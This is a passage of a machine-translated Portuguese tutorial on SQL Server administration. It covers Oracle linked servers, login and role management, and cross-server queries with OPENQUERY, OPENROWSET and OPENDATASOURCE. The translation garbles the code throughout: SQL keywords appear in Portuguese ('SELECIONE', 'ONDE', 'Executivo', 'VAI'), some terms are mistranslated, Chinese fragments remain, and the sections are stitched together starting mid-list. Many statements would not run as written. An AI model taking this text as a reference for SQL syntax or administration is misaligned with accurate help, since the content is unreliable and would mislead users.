5. Fonte dos dados: Relatório
O nome do serviço configurado no arquivo tnsnames.ora, como ORCL
6. String da interface de acesso: userid=sys como sysdba; senha=senha
7. Na página Selecionar Opções de Segurança, use este contexto de instalação para estabelecer uma conexão:
a) Login Remoto: usuário (outro usuário, não sys)
b)
Use senha: senha
8. Defina "NT AUTHORITY\SYSTEM" no login local, sistemas de usuário remoto e defina a senha
9.
Tem certeza
6) Existem duas maneiras de escrever SQL
a) Uso da sintaxe T-SQL:
SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS
Note que, ao inserir instruções SQL no SQL Query Analyzer, preste atenção à troca chinesa de largura total e meia-largura
Way!
b) Usar a sintaxe PLSQL: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) O segundo método de acesso é cerca de 50% mais rápido que o primeiro; O segundo método de acesso está diretamente conectado
ORACLE é comparável; O primeiro método de acesso pode levar a alguns erros inesperados, como: A tabela não existe, nem o usuário atual
Não há acesso à mesa, e assim por diante.
d) Se a coluna que precisa ser acessada usa tipos de dados sem precisão, ambos
Esse é um bug do ORACLE que não pode ser corrigido, e só pode ser evitado por meio de um tratamento especial das instruções de consulta:
Os metadados fornecidos pelo provedor OLE DB 'OraOLEDB.Oracle' para as colunas são inconsistentes. As informações de metadados são alteradas na execução.
MSSQL adicionou
Exclua o usuário e conceda permissões
Use o nome da sua biblioteca Vai --Adicionar usuários Exec sp_addlogin 'teste' -- adicionar login Executivo
sp_grantdbaccess N'test' - tornando-o um usuário legítimo do banco de dados atual executivo sp_addrolemember N'db_owner',
N'test' - concede todas as permissões para seu próprio banco de dados --Isso cria usuários que só podem acessar seu próprio banco de dados e o que está incluído nele
Tabela pública para usuários convidados Vai --Remover usuário de teste exec sp_revokedbaccess N'test' -- Remover o acesso ao banco de dados
Limite exec sp_droplogin N'test' -- delete login Se você criar no Enterprise Manager, use: Gerente Empresarial - Segurança
Sexo --Clique direito Login--Novo Login Itens gerais --Insira o nome de usuário no nome
--O método de autenticação é selecionado de acordo com suas necessidades (se você estiver usando autenticação do Windows, precisa criar um novo usuário entre os usuários do sistema operacional primeiro)
--Nas configurações padrão, selecione o nome do banco de dados que deseja acessar para o novo usuário Item de papel do servidor Não escolha nada disso base de dados
Item de acesso Verifique o nome do banco de dados que você deseja acessar para o usuário que criou Permita a função de banco de dados, marque "público", "db_ownew" Claro, isso
O usuário criado pela amostra é o mesmo que o usuário criado pela afirmação acima
O último passo é definir permissões de acesso específicas para usuários específicos, que podem ser referidas ao seguinte exemplo mínimo:
--Adicionar usuários que só podem acessar a tabela especificada: O sp_addlogin executivo 'nome de usuário', 'senha', 'nome padrão do banco de dados'
--adicionar ao banco de dados Exec sp_grantdbaccess 'Nome de Usuário'
--Atribuir permissões de tabelas inteiras CONCEDER SELECT , INSERT , UPDATE , DELETE NA TABELA 1 PARA [nome de usuário] --Atribuir permissões a colunas específicas CONCEDER SELEÇÃO , ATUALIZAR NA tabela1(id,AA) para [nome de usuário]
Para configurações específicas de segurança e conhecimento teórico, consulte a Ajuda Online do SQL
Descrição fixa do papel do banco de dados db_owner Ter permissões completas no banco de dados.
db_accessadmin Você pode adicionar ou remover IDs de usuário.
db_securityadmin Pode gerenciar permissões completas, propriedade de objetos, papéis e membros de papéis.
db_ddladmin pode emitir TODOS os DDLs, mas não declarações CONCEDER, REVOGAR ou NEGAR.
db_backupoperator pode emitir instruções DBCC, CHECKPOINT e BACKUP.
db_datareader Você pode selecionar todos os dados de qualquer tabela de usuário no banco de dados.
db_datawriter Você pode alterar todos os dados em qualquer tabela de usuário no banco de dados.
db_denydatareader Você não pode selecionar nenhum dado de nenhuma tabela de usuário no banco de dados.
db_denydatawriter Você não pode alterar nenhum dado em nenhuma tabela de usuário no banco de dados.
Você deve escolher db_datareader, db_datawriter db_accessadmin
5. Após a instância do SQL Server ser iniciada no modo de usuário único, a conta de administrador do Windows pode usar a ferramenta sqlcmd para se conectar no modo de autenticação do Windows
SQL Server。 Você pode usar comandos T-SQL como "sp_addsrvrolemember" para adicionar um login existente ao papel de servidor sysadmin
Ou criar uma nova conta de login. Um exemplo de afirmação é o seguinte:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
VAI
Adicionar um privilégio de administrador de sistemas
(1) Gerenciar funções de servidor
No SQL Server, existem dois principais procedimentos armazenados que implementam o gerenciamento de funções do SQL Server:
sp_addsrvrolemember
e sp_dropsrvrolemember
sp_addsrvrolemember Você pode adicionar uma conta de login a um papel de servidor para torná-lo membro desse papel de servidor. A sintaxe é a seguinte: sp_addsrvrolemember
login , função
sp_dropsrvrolemember Você pode excluir uma conta de login de um papel de servidor e, quando o membro é removido do papel de servidor, ele não tem mais esse papel de servidor
As permissões definidas. A sintaxe é a seguinte: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'papel'
a partir daí
@loginname é o nome do usuário logado; @rolename é um cargo de garçom.
(2) Gerenciar funções em bancos de dados
No SQL Server, o gerenciamento de banco de dados é suportado
Existem seis tipos principais de procedimentos armazenados, e seus significados e sintaxe específicos são os seguintes:
sp_addrole: Usado para criar um novo papel de banco de dados; sp_addrole
Função, dono
sp_droprole: Usado para remover um papel de banco de dados do papel atual no banco de dados; sp_droprole papel
sp_helprole:
É usado para exibir todas as informações sobre todos os papéis do banco de dados atual; sp_helprole ['papel']
sp_addrolemember: Usado para enviar ao banco de dados
Adicionar usuários de banco de dados a um papel, que pode ser papéis padrão definidos pelo usuário ou papéis fixos de banco de dados, mas não pode ser
Vagas de candidatura. sp_addrolemember papel, security_account
sp_droprolemember: Usado para deletar um certo personagem
residência; sp_droprolemember papel, security_account
sp_helprolemember: Usado para exibir todos os membros de um papel de banco de dados
。 sp_helprolemember ['papel']
Consulta do LINKSERVER MSSQL
---------------------------------------------------------------------------------- -- Autor:
htl258(Tony) -- Data: 2010-06-25 22:23:18 -- Versão: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 de julho de 2008 14:43:34 -- Direitos autorais (c) 1988-2008 Microsoft Corporation --
Developer Edition no Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Assunto: Operações de dados SQL entre diferentes bancos de dados de servidores ---------------------------------------------------------------------------------- --1. Crie um servidor de links --1.1 Criar um nome de link EXEC sp_addlinkedserver 'LinkName','''SQLOLEDB', o nome do servidor remoto
ou endereço IP' -- Se você tem um nome de instância personalizado, adicione "\nome da instância"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Crie um login (ou crie um mapa de login no servidor de links) (basta escolher um jeito) --1.2.1 Faça login com autenticação do Windows EXECUTIVO sp_addlinkedsrvlogin 'LinkName' --ou EXEC sp_addlinkedsrvlogin 'LinkName', 'verdadeiro'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Faça login com autenticação SQL EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL, 'Username', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink', 'false', null,'sa', '123' */ --2. Operações de dados relacionadas a servidores de enlace --2.1 Exemplo de consulta SELECT * FROM LinkName.database nome.nome do esquema.nome da tabela
/*例如:SELECT *
DE TonyLink.Mydb.dbo.tb */ -- 2.2 Exemplo de importação SELECT * ENTER nome da tabela DE LinkNome.banco de dados.nome do esquema nome da tabela
/*例如:SELECT * INTO Newtb
DE TonyLink.Mydb.dbo.tb */ -- 2.3 Exemplo de atualização ATUALIZAÇÃO LinkNome.Nome do Banco de Dados.Nome do Esquema.Nome da Tabela SET campo='valor' ONDE campo='condição'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Pessoas='g' ONDE Pessoas='a' */ -- 2.4 Excluir exemplos DELETE NomeLink.Nome do Banco de Dados.Nome do Esquema.Nome da Tabela ONDE nome do campo='condição'
/*例如:DELETE
TonyLink.Mydb.dbo.tb ONDE Pessoas='g' */ --3 via função de rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Método
- 3.1 Método OPENQUERY (requer a ajuda do servidor de links que você acabou de criar): -- 3.1.1 Exemplo de consulta SELECIONE * DO OPENQUERY(LinkName, 'SELECT * FROM nome do banco de dados. Nome da arquitetura. Nome da Tabela')
/* Por exemplo: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Exemplos de importação --3.1.2.1 Importar todas as colunas INSERIR OPENQUERY(LinkName, 'SELECT * FROM nome do banco de dados. Nome da arquitetura. Nome da tabela
') SELECT * FROM tabela local
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
DE TB */ --3.1.2.2 Importar as colunas especificadas INSERIR OPENQUERY(LinkName, 'SELECT * FROM nome do banco de dados. Nome da arquitetura. Nome da Tabela') (coluna, counha...) coluna SELECT,
Coluna... DE tabela local
/* Por exemplo: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) SELECIONAR
VARIEDADE, NÍVEL, Pessoas de TB */ --3.1.3 Exemplos de atualização ATUALIZAR OPENQUERY(LinkName, 'SELECT * FROM nome do banco de dados. Nome da arquitetura. nome da tabela') campo SET = 'valor' palavra WHERE
Segmento = 'Condição'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Pessoas='a' */ --3.1.4 Excluir exemplos DELETE OPENQUERY(LinkName, 'SELECT * FROM nome do banco de dados. Nome da arquitetura. nome da tabela') ONDE nome do campo='condição'
/*例
Por exemplo: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 Método OPENROWSET (você não precisa usar o nome do link criado.) Se o nome da instância conectada não for o padrão, você precisa defini-lo no nome do servidor SQL ou endereço IP.
"\nome da instância") --3.2.1 Exemplo de consulta --3.2.1.1 Consulta ao método de autenticação do Windows (um dos métodos a seguir é suficiente) SELECIONE * DE OPENROWSET('SQLOLEDB', 'servidor=nome do servidor sql ou
endereço IP; Trusted_Connection=sim', nome do banco de dados. Nome da arquitetura. Nome da tabela) SELECIONE * DO OPENROWSET('SQLNCLI',
'server=nome ou endereço IP do servidor SQL; Trusted_Connection=sim', nome do banco de dados. Nome da arquitetura. Nome da tabela) SELECT * FROM
OPENROWSET('SQLOLEDB', 'server=nome ou endereço IP do servidor sql; Trusted_Connection=sim','SELECT * DO banco de dados
Nome. Nome da arquitetura. Nome da Tabela') SELECIONE * DO OPENROWSET('SQLNCLI', 'servidor=nome do servidor SQL ou endereço IP
Endereço; Trusted_Connection=sim','SELECT * DE nome do banco de dados. Nome da arquitetura. Nome da Tabela')
/* Por exemplo: SELECT * DO OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sim',Mydb.dbo.tb)
Ou: SELECT * DO OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sim',Mydb.dbo.tb)
Ou: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sim','SELECT *
DE Mydb.dbo.tb')
Ou: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sim','SELECT *
DE Mydb.dbo.tb') */ --3.2.1.2 Consulta do Método de Autenticação SQL (Um dos métodos a seguir é suficiente) SELECT * DO OPENROWSET
('SQLOLEDB', 'servidor=nome ou endereço IP do servidor SQL; uid=nome de usuário; PWD=senha', nome do banco de dados. Nome da arquitetura. Nome da tabela) SELECT * FROM
OPENROWSET('SQLNCLI', 'server=nome ou endereço IP do servidor sql; uid=nome de usuário; PWD=senha', nome do banco de dados. Nome da arquitetura. Nome da tabela) SELECIONE * DE OPENROWSET('SQLOLEDB', 'servidor=nome ou endereço IP do servidor SQL; uid=nome de usuário; pwd=senha','SELECT *
Nome do banco de dados FROM. Nome da arquitetura. Nome da Tabela') SELECIONE * DE OPENROWSET('SQLNCLI', 'servidor=nome ou endereço IP do servidor SQL; UID=
Nome de usuário; pwd=senha', 'SELECT * DE nome do banco de dados. Nome da arquitetura. Nome da Tabela') SELECIONE * A PARTIR DE OPENROWSET('SQLOLEDB', 'SQL
nome do servidor'; 'nome de usuário'; 'senha', nome do banco de dados. Nome da arquitetura. Nome da tabela) SELECIONE * DO OPENROWSET('SQLNCLI', 'NOME DO SERVIDOR SQL)
'; 'nome de usuário'; 'senha', nome do banco de dados. Nome da arquitetura. Nome da tabela) SELECIONE * DO OPENROWSET('SQLOLEDB', 'NOME DO SERVIDOR SQL'; ' usuário
nome'; 'Senha', 'SELECIONAR * DE nome do banco de dados. Nome da arquitetura. Nome da Tabela') SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER
nome'; 'nome de usuário'; 'Senha', 'SELECIONAR * DE nome do banco de dados. Nome da arquitetura. Nome da Tabela')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Ou: SELECT * DO OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Ou: SELECT * DO OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
ou: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
ou: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
ou: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
ou: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', 'SELECT * FROM Mydb.dbo.tb')
ou: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', 'SELECT * FROM Mydb.dbo.tb') */ --3.2.2 Exemplo de importação --3.2.2.1 Importar todas as colunas INSERIR OPENROWSET('SQLOLEDB', 'servidor=nome ou endereço IP do servidor sql
Endereço; uid=nome de usuário; PWD=senha', nome do banco de dados. Nome da arquitetura. Nome da tabela) SELECT * FROM tabela local
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SELECT * FROM TB */ --3.2.2.2 Importação
Especificar colunas INSIRA OPENROWSET('SQLOLEDB', 'servidor=nome ou endereço IP do servidor SQL; uid=nome de usuário; PWD=senha', nome do banco de dados. Rack
Nome do construto. Nome da tabela) (coluna, coluna...) Coluna SELECT, coun... DE tabela local
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)(VARIEDADE, NÍVEL, Pessoas) SELECIONAR
VARIEDADE, NÍVEL, Pessoas de TB */ --Nota: Para métodos alternativos, consulte o exemplo da consulta .2.1, basta substituir a função OPENROWSET
O conteúdo é suficiente. --3.2.3 Exemplo de atualização ATUALIZE OPENROWSET('SQLOLEDB', 'servidor=nome ou endereço IP do servidor SQL; uid=nome de usuário
;p wd=senha', nome do banco de dados. Nome da arquitetura. Nome da tabela) Campo SET = 'valor' ONDE campo = 'condição'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Pessoas='g' ONDE Pessoas='a' */ --Nota: Para métodos alternativos, consulte o exemplo da consulta .2.1, basta substituir o conteúdo no OPENROWSET. --3.2.4 Exclua a indicação
Exemplo DELETE OPENROWSET('SQLOLEDB', 'server=nome ou endereço IP do servidor SQL; uid=nome de usuário; PWD=senha', nome do banco de dados. Nome do esquema
.nome da tabela) ONDE nome do campo='condição'
/* Por exemplo: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) ONDE
Pessoas='g' */ --Nota: Para mais métodos alternativos, veja o exemplo da consulta .2.1, basta substituir o conteúdo no OPENROWSET. --3.3 Método OPENDATASOURCE
(Você não precisa usar o nome do link criado.) Se o nome da instância da conexão não for o padrão, você precisa adicionar \nome de instância após o nome do servidor SQL ou endereço IP
") --3.3.1 Exemplo de consulta --3.3.1.1 Consulta do Método de Autenticação do Windows (Um dos seguintes métodos é suficiente) SELECIONE * DO OPENDATASOURCE('SQLOLEDB',
'server=nome ou endereço IP do servidor SQL; Trusted_Connection=sim'). Nome do banco de dados. Nome da arquitetura. Nome da tabela SELECT * FROM
OPENDATASOURCE('SQLNCLI', 'server=nome ou endereço IP do servidor sql; Trusted_Connection=sim'). Nome do banco de dados. Nome da arquitetura.
Nome da tabela
/* Por exemplo: SELECT * DO OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sim'). Mydb.dbo.tb
Ou: SELECIONE * DO OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sim'). Mydb.dbo.tb */ --3.3.1.2 Consulta de métodos de autenticação SQL (um dos métodos a seguir é suficiente) SELECIONE * DE OPENDATASOURCE('SQLOLEDB', 'servidor=nome do servidor SQL ou
endereço IP; uid=nome de usuário; pwd=senha'). Nome do banco de dados. Nome da arquitetura. Nome da tabela SELECIONE * DO OPENDATASOURCE('SQLNCLI', 'servidor=nome ou endereço IP do servidor SQL; uid=usuário
Nome; pwd=senha'). Nome do banco de dados. Nome da arquitetura. Nome da tabela SELECIONE * DO OPENDATASOURCE('SQLOLEDB', 'Data Source=nome ou endereço IP do servidor sql
Endereço; uid=nome de usuário; pwd=senha'). Nome do banco de dados. Nome da arquitetura. Nome da tabela SELECIONE * DO OPENDATASOURCE('SQLNCLI', 'Data Source=nome ou endereço IP do servidor sql
Endereço; uid=nome de usuário; pwd=senha'). Nome do banco de dados. Nome da arquitetura. Nome da tabela
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ou: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ou: SELECIONE * DO OPENDATASOURCE('SQLOLEDB','DADOS
Fonte=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Ou: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data
fonte=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importar todas as colunas INSIRA OPENDATASOURCE('SQLOLEDB', 'servidor=nome do servidor SQL ou endereço IP; uid=nome de usuário; pwd=senha').
De acordo com o nome da biblioteca. Nome da arquitetura. Nome da tabela SELECT * FROM tabela local
/* Por exemplo: INSIRA OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SELECIONAR
* DE TB */ --3.3.2.2 Importar as colunas especificadas INSIRA OPENDATASOURCE('SQLOLEDB', 'servidor=nome do servidor SQL ou endereço IP; uid=nome de usuário; pwd=senha').
De acordo com o nome da biblioteca. Nome da arquitetura. Nome da tabela (coluna, coluna...) Coluna SELECT, coun... DE tabela local
/* Por exemplo: INSIRA OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(ALCANCE, NÍVEL, Pessoas) SELECIONE ALCANCE, NÍVEL, Pessoas DE TB */ --Nota: Para métodos alternativos, veja o exemplo da consulta .3.1, basta substituir o conteúdo na função de conjunto de linhas (OPENDATASOURCE). --Exemplo de atualização 3.3.3 ATUALIZAR OPENDATASOURCE('SQLOLEDB', 'servidor=nome ou endereço IP do servidor SQL; uid=nome de usuário; pwd=senha'). Nome do banco de dados. Nome da arquitetura. Nome da tabela Campo SET = 'valor' ONDE campo = 'condição'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Pessoas='g' ONDE Pessoas='a' */ --Nota: Para métodos alternativos, veja o exemplo da consulta .3.1, basta substituir o conteúdo na função de conjunto de linhas (OPENDATASOURCE). --3.3.4 Excluir exemplo DELETE OPENDATASOURCE('SQLOLEDB', 'servidor=nome do servidor sql ou endereço IP; uid=nome de usuário; pwd=senha'). Nome do banco de dados. Nome da arquitetura. Nome da tabela ONDE nome do campo='condição'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ONDE Pessoas = 'g' */ - Nota: Mais alternativas
Consulte o exemplo da consulta .3.1, basta substituir o conteúdo na função de conjunto de linhas (OPENDATASOURCE). -- Exclua o método do servidor vinculado --Se você não usar mais as informações do link no futuro, pode deletar as informações do link --4.1 Exclua as informações de login (ou exclua o mapa de nomes de login do servidor vinculado) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* Por exemplo: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Exclua o nome do servidor vinculado EXEC sp_dropserver 'LinkName', 'droplogins' — se droplogins forem especificados, O mapa de login deve ser excluído antes de excluir o servidor vinculado
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Anexado
: Como obter o Nome do Provedor (EXEC master). xp_enum_oledb_providers) SELECT CAST ([Nome do Provedor] COMO
VARCHAR(30)) NomeProvedor, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion DE
OPENROWSET( 'SQLOLEDB', 'Servidor=.; Trusted_Connection=sim', 'INICIE O PRIMEIRO MOMENTO; EXECUTIVO
Mestre... xp_enum_oledb_providers'
)
|